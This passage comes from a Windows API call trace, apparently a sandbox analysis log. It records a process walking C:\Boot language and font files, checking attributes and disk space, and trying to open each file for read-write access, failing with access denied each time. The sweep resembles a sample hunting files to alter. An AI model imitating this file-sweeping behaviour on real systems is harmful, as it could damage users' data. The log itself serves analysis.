lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.330] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0058.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.330] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40)) returned 1 [0058.330] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.330] GetLastError () returned 0x5 [0058.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.331] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0058.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.331] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.331] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.331] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.331] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.331] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0058.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.331] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50)) returned 1 [0058.331] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.331] GetLastError () returned 0x5 [0058.332] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.332] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.332] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0058.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.332] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.332] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\es-ES", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.332] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.332] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.333] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0058.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.333] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0058.333] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.333] GetLastError () returned 0x5 [0058.333] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.333] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.333] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0058.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.333] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.333] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fi-FI", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.334] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.334] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.334] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0058.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.334] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40)) returned 1 [0058.334] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.334] GetLastError () returned 0x5 [0058.334] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.334] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.334] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0058.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.335] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.335] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0058.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.335] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1 [0058.335] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.335] GetLastError () returned 0x5 [0058.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.335] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.336] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0058.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.336] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.336] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.337] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0058.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.337] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1 [0058.337] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.337] GetLastError () returned 0x5 [0058.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.337] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.337] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0058.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.338] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.338] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0058.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.338] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1 [0058.338] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.338] GetLastError () returned 0x5 [0058.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.338] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.338] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0058.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.339] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.339] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.339] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.339] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.339] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0058.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.339] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1 [0058.339] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.339] GetLastError () returned 0x5 [0058.339] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.339] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.339] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, 